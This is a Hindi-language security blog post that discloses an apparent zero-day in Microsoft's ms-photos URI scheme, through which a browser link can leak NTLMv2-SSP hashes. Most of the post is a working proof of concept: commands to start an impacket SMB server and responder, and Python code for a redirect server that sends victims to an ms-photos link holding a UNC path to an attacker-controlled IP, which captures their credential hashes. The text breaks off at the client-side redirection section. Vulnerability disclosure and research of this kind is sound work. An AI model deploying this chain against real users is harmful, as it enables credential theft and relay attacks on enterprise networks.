
नई 0 day भेद्यता जो ब्राउज़र से एक क्लिक में NTLM हैश लीक करने की अनुमति देती है
द्वारा Ruben Enkaoua
Microsoft ms-photos URI स्कीम fileName को पैरामीटर के रूप में लेती है, जिसे UNC पथ के साथ सबमिट किया जा सकता है, जिससे खोलने पर NTLMv2-SSP हैश लीक हो जाते हैं। एक विशेष रूप से स्वरूपित लिंक बनाकर, एक हमलावर पीड़ित को सीधे ब्राउज़र से Microsoft Photos ऐप लॉन्च करने के लिए मजबूर कर सकता है। ट्रिगर होने पर, यह व्यवहार पीड़ित के NTLMv2-SSP हैश के हमलावर-नियंत्रित सर्वर पर लीक होने का परिणाम देता है। यह समस्या एंटरप्राइज़ वातावरण में क्रेडेंशियल एक्सपोज़र और संभावित रिले हमलों को सक्षम बनाती है, जिसके लिए केवल न्यूनतम उपयोगकर्ता इंटरैक्शन (ऐप खोलना) की आवश्यकता होती है। Microsoft ने इस भेद्यता को स्वीकार नहीं किया और कोई CVE जारी नहीं किया गया। साथ ही, मैं 2022 के Syss ब्लॉग से प्रेरित था।
चूंकि NTLMv2-SSP चैलेंज को सार्वजनिक UNC पथों पर लीक किया जा सकता है (आउटबाउंड SMB/445 फ़ायरवॉल नियम सेट होने को छोड़कर), इस भेद्यता को वेबसाइट संक्रमणों के साथ जोड़ा जा सकता है, जिससे सप्लाई-चेन हमले हो सकते हैं।
URI स्कीम के बारे में MSDN दस्तावेज़ीकरण से हम निम्नलिखित पा सकते हैं:
SMB सर्वर खोलें
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
दुर्भावनापूर्ण python सर्वर प्रारंभ करें
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
स्थान पर ब्राउज़ करें
Chrome खोलें और /test पर जाएँ

इसके अलावा, इसे responder के साथ भी किया जा सकता है। LLMNR अनुरोध जारी करने वाले कोई भी अनसुलझे डोमेन स्क्रिप्ट पर पुनर्निर्देशित हो जाएँगे, जिससे NTLM उपयोगकर्ता/पासवर्ड प्रमाणीकरण विंडो पॉप अप करने के बजाय किसी भी उपयोगकर्ता को मजबूर किया जा सकता है। इसे काम करने के लिए, पहले स्क्रिप्ट चलाएँ और फिर responder चलाएँ।

यह इसलिए काम करता है क्योंकि हमारा एप्लिकेशन सीधे ms-photos URI स्कीम पर पुनर्निर्देशित कर रहा है, जिसमें हमारे सर्वर का UNC पथ होता है:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
क्लाइंट पक्ष से पुनर्निर्देशन: